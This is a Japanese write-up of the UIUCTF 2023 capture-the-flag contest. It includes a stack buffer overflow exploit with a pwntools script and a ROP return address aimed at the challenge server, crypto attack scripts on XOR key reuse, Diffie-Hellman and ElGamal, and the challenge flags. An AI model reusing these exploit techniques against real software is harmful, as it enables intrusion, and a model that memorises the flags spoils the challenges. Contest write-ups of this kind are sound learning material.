UIUCTF 2023 Writeup

この大会は2023/7/1 9:00(JST)~2023/7/3 9:00(JST)に開催されました。
今回もチームで参戦。結果は351点で818チーム中255位でした。
自分で解けた問題をWriteupとして書いておきます。

Join our Discord (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

uiuctf{new_era_of_CTFing}

Finding Artifacts 1 (osint)

Googleで「New York City "Excellent One" bronze statue museum」を調べる。Rubin Museum of ArtのMahakalaの像であることがわかる。

uiuctf{rubin_museum_of_art}

Chainmail (pwn)

BOFでgive_flag関数をコールする。

$ gdb -q ./chal                                   
Reading symbols from ./chal...
(No debugging symbols found in ./chal)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /media/sf_Shared/chal 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello, welcome to the chain email generator! Please give the name of a recipient: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Okay, here's your newly generated chainmail message!

Hello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL,
Have you heard the news??? Send this email to 10 friends or else you'll have bad luck!

Your friend,
Jim

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffdee8 --> 0x7fffffffe25c ("/media/sf_Shared/chal")
RCX: 0x0 
RDX: 0x0 
RSI: 0x7fffffffbc60 ("Okay, here's your newly generated chainmail message!\n\nHello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL,\nHave you heard the news??? Send this e"...)
RDI: 0x7fffffffbb40 --> 0x7ffff7e19e70 (<__funlockfile>:        mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffddd8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x40133b (<main+179>:      ret)
R8 : 0x0 
R9 : 0x73 ('s')
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffdef8 --> 0x7fffffffe272 ("CLUTTER_IM_MODULE=xim")
R14: 0x403e18 --> 0x4011e0 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401330 <main+168>: call   0x4010e0 <printf@plt>
   0x401335 <main+173>: mov    eax,0x0
   0x40133a <main+178>: leave
=> 0x40133b <main+179>: ret
   0x40133c <_fini>:    endbr64
   0x401340 <_fini+4>:  sub    rsp,0x8
   0x401344 <_fini+8>:  add    rsp,0x8
   0x401348 <_fini+12>: ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddd8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdde0 ("AJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdde8 ("AAKAAgAA6AAL")
0024| 0x7fffffffddf0 --> 0x4c414136 ('6AAL')
0032| 0x7fffffffddf8 --> 0x7fffffffdee8 --> 0x7fffffffe25c ("/media/sf_Shared/chal")
0040| 0x7fffffffde00 --> 0x7fffffffdee8 --> 0x7fffffffe25c ("/media/sf_Shared/chal")
0048| 0x7fffffffde08 --> 0xac4b37dbdf0a15c9 
0056| 0x7fffffffde10 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040133b in main ()
gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

$ ROPgadget --binary chal | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('chainmail.chal.uiuc.tf', 1337)
    data = p.recvline().decode()
    print(data)
else:
    p = process('./chal')

ret_addr = 0x40101a
elf = ELF('./chal')

give_flag_addr = elf.symbols['give_flag']

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(give_flag_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to chainmail.chal.uiuc.tf on port 1337: Done
== proof-of-work: disabled ==

[*] '/media/sf_Shared/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Hello, welcome to the chain email generator! Please give the name of a recipient: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\x16\x12@\x00\x00\x00\x00\x00'
Okay, here's your newly generated chainmail message!

Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@,
Have you heard the news??? Send this email to 10 friends or else you'll have bad luck!

Your friend,
Jim
uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}

[*] Closed connection to chainmail.chal.uiuc.tf port 1337
uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}

Three-Time Pad (crypto)

p2, c2からXOR鍵を求め、c1, c3を復号する。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

with open('c1', 'rb') as f:
    c1 = f.read()

with open('c2', 'rb') as f:
    c2 = f.read()

with open('c3', 'rb') as f:
    c3 = f.read()

with open('p2', 'rb') as f:
    p2 = f.read()

key = strxor(c2, p2)

p1 = strxor(key[:len(c1)], c1).decode()
p3 = strxor(key[:len(c3)], c3).decode()

print('[+] p1:', p1)
print('[+] p3:', p3)

実行結果は以下の通り。

[+] p1: before computers, one-time pads were sometimes
[+] p3: uiuctf{burn_3ach_k3y_aft3r_us1ng_1t}
uiuctf{burn_3ach_k3y_aft3r_us1ng_1t}

At Home (crypto)

暗号化処理の概要は以下の通り。

・a, b, a_, b_: ランダム256ビット整数
・M = a * b - 1
・e = a_ * M + a
・d = b_ * M + b
・n = (e * d - 1) // M
・c = (flag * e) % n
・e, n, cを出力

関係するのは最後の式だけで、逆算すればよい。

flag = c * inverse(e, n) % n
#!/usr/bin/env python3
from Crypto.Util.number import *

with open('chal.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1])
n = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])

flag = c * inverse(e, n) % n
flag = long_to_bytes(flag).decode()
print(flag)
uiuctf{W3_hav3_R5A_@_h0m3}

Group Project (Crypto)

サーバの処理概要は以下の通り。

・g = 2
・p: 1024ビット素数
・a: ランダム2以上p-1以下整数
・A = pow(g, a, p)
・g, p, Aを表示
・k: 数値入力(1, p - 1, (p - 1) // 2はNG)
・Ak = pow(A, k, p)
・b: ランダム2以上p-1以下整数
・B = pow(g, b, p)
・Bk = pow(B, k, p)
・S = pow(Bk, a, p)
・key: Sのバイト文字列化したもののmd5ダイジェスト
・c: flagをパディングしてkeyでAES-ECB暗号化したものを数値化したもの
・cを表示

kに0を指定すると、以下のようになりkeyが決まるがk=0もNGらしい。

S = pow(Bk, a, p)
  = pow(pow(B, k, p), a, p)
  = pow(1, a, p)
  = 1

kに(p - 1) * 2を指定しても上記が言える。あとは算出したkeyを元にAES復号すればよい。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import*
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('group.chal.uiuc.tf', 1337))

for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
g = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
p = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
A = int(data.split(' ')[-1])

k = (p - 1) * 2
data = recvuntil(s, b'= ')
print(data + str(k))
s.sendall(str(k).encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
c = int(data.split(' ')[-1])
ct = long_to_bytes(c)

S = 1
key = hashlib.md5(long_to_bytes(S)).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)

実行結果は以下の通り。

== proof-of-work: disabled ==
[$] Did no one ever tell you to mind your own business??
[$] Public:
[$]     g = 2
[$]     p = 171517180239603147748754763055885210766763443249526599387850933905946783745593928568550240388917208790649676438616017005270449274628162054489611630999307597722124543957720241867138020405232931030820036320601908181403624267977740464458530595221663870369362692926558178214658585953389656805214695381374534853823
[$]     A = 162898556279073024067746182375835370371640969262197269884245608663733972171085178912391086974508887170808039826290905198138853327771724460512804241465792988864379730836342995633398247462965842758525170545281634105261020688919323894622487462149664772922212676174365873595494665848835166604479630176685528386044
[$] Choose k = 343034360479206295497509526111770421533526886499053198775701867811893567491187857137100480777834417581299352877232034010540898549256324108979223261998615195444249087915440483734276040810465862061640072641203816362807248535955480928917061190443327740738725385853116356429317171906779313610429390762749069707644
[$] Ciphertext using shared 'secret' ;)
[$]     c = 31383420538805400549021388790532797474095834602121474716358265812491198185235485912863164473747446452579209175051706
uiuctf{brut3f0rc3_a1n't_s0_b4d_aft3r_all!!11!!}
uiuctf{brut3f0rc3_a1n't_s0_b4d_aft3r_all!!11!!}

Morphing Time (crypto)

サーバの処理概要は以下の通り。

・g = 2
・p: 512ビット素数
・a: ランダム2以上p - 1以下整数
・A = pow(g, a, p)
・decrypt = decrypt_setup(a, p)
 ・decrypt関数を返却
・encrypt = encrypt_setup(p, g, A)
 ・encrypt関数を返却
・g, p, Aを表示
・c1, c2 = encrypt(flag)
 ・k: ランダム2以上p - 1以下整数
 ・c1 = pow(g, k, p)
 ・c2 = (flag, k, p)
 ・c2 = (m * c2) % p
 ・c1, c2を返却
・c1, c2を表示
・c1_: 数値入力(1より大きくp-1未満)
・c2_: 数値入力(1より大きくp-1未満)
・m = decrypt((c1 * c1_) % p, (c2 * c2_) % p)
 ・m = (c2 * c2_) * pow(pow(c1 * c1_, a, p), -1, p) % p
 ・m を返却
・mを表示

ElGamal暗号になっている。

A = pow(g, a, p)
c1 = pow(g, k, p)
c2 = m * pow(A, k, p) % p = m * pow(g, a * k, p) % p
m = c2 * pow(pow(c1, a, p), -1, p) % p

c1_ = 2, c2_ = 2を指定すると、以下のように復号される。

m_ = (c2 * 2) * pow(pow(c1 * 2, a, p), -1 , p) % p
   = 2 * c2 * pow(pow(c1, a, p), -1, p) * pow(pow(2, a, p), -1 , p) % p
   = 2 * m * pow(A, -1, p) % p

mは以下のように計算でき、フラグを復号できる。

m = m_ * pow(pow(A, -1, p) * 2, -1, p) % p
#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('morphing.chal.uiuc.tf', 1337))

for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
g = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
p = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
A = int(data.split(' ')[-1])

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
c1 = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
c2 = int(data.split(' ')[-1])

c1_ = g
c2_ = 2
data = recvuntil(s, b'= ')
print(data + str(c1_))
s.sendall(str(c1_).encode() + b'\n')
data = recvuntil(s, b'= ')
print(data + str(c2_))
s.sendall(str(c2_).encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
m_ = int(data.split(' ')[-1])

m = m_ * pow(pow(A, -1, p) * c2_, -1, p) % p
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print(flag)

実行結果は以下の通り。

== proof-of-work: disabled ==
[$] Welcome to Morphing Time
[$] Public:
[$]     g = 2
[$]     p = 8141013841987034528839350611704093172569989393364238903153577108387553169050092234809006696338327797082893697373656453466678969840535641749055480404573367
[$]     A = 4267031073342096021745264846614566934245528537578102795925975746318517714567399987929669615387151524512671529233079213991658885267456314432774379122993154
[$] Eavesdropped Message:
[$]     c1 = 6423532444799096145333512375643899678824729093543715427317148791948351222584164498455164188931927874083272030748492302583271555223444095872006662783829300
[$]     c2 = 884790218946545359353312338100169717670890695792592368742147725066592579792331540801787279429970394365177086307254597068367915340849777970669667246833763
[$] Give A Ciphertext (c1_, c2_) to the Oracle:
[$]     c1_ = 2
[$]     c2_ = 2
[$] Decryption of You-Know-What:
[$]     m = 4713807580966427506969011056531626226408320334665974231235617973996288936401562149542793864295519301661608021850162161164713987066644455537292108271817140
uiuctf{h0m0m0rpi5sms_ar3_v3ry_fun!!11!!11!!}
uiuctf{h0m0m0rpi5sms_ar3_v3ry_fun!!11!!11!!}

Feedback Survey (misc)

アンケートに答えたら、フラグが表示された。

uiuctf{th4nks_4_p14ying_h0p3_y0u_h4d_fun!!!}